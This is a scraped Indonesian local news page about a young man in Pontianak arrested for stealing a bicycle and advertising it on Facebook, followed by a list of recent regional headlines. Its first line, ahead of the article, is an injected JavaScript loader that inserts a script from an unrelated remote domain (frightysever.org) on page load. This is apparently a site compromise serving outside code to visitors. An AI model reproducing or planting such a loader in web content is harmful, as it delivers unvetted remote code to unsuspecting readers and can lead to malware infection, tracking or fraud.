(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Pontianak

Curi Sepeda Lalu Tawarkan di Facebook, YS Apes Diciduk Polisi Â


KANALKALIMANTAN.COM, PONTIANAK – Curi sepeda, lalu tawarkan dijual di akun Facebook, pemuda di Pontianak ini langsung diciduk polisi.

Pria berinisial YS (20) ditangkap karena telah mencuri sepeda di Jalan Ya’m Sabran, Pontianak Timur  pada Jumat (14/8/2020). Belakangan YS menawarkan sepeda hasil curian itu pada akun Facebook milik.

Si pemilik sepeda ternyata melihat postingan sepeda yang ditawarkan akan dijual oleh YS. Lewat janjian ketemuaan langsung, YS dibekuk anggota Polsek Pontianak Timur.

Kanit Reskrim Polsek Pontianak Timur IPTU Asep Teddy mengatakan, mengamankan satu pria berinisial YS karena melakukan tindak pidana pencurian. YS (20) ditangkap lantaran telah mencuri sepeda di Jalan Ya’m Sabran Pontianak Timur  pada Jumat (14/8/2020).

Penangkapan YS, berawal dari korban yang melapor sepeda jenis MTB miliknya raib dari dalam rumah.

YS berhasil ditangkap setelah korban menemukan sebuah akun facebook yang memposting sepeda milik korban.

Postingan di Facebook itu ditelusuri anggota Polsek Pontianak Timur bersama pelapor yang berpura-pura ingin membeli sepeda tersebut. Bersama polisi, korban mengajak ketemuan YS yang memposting sepeda itu.

“Setelah bertemu dan mengecek kondisi sepeda itu dan benar milik pelapor. Anggota Reskrim Polsek Pontianak Timur langsung mengamankan pemegang akun Facebook tersebut guna menjalani proses lebih lanjut,” ujar Kapolsek Pontianak Timur, Senin (18/8/2020) malam.

Akibat dari kejadian tersebut  pelapor mengalami kerugian hingga Rp 3.100.000. Sementara pelaku YS dikenakan pasal 363 KUHP.

Barang bukti yang berhasil diamankan, satu unit sepeda merk inter berwarna merah hitam dan satu uni HP merk Redmi berwarna hitam

Ditambahkan Kasi Humas Polsek Pontianak Timur Iptu Iskak Pujiyanto bahwa pelaku YS merupakan residivis yang mendapat program asimilasi pada saat itu kasusnya ditangani Polsek Pontianak Utara. (kanalkalimantan.com/rls)

 

Reporter : rls
Editor : kk

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.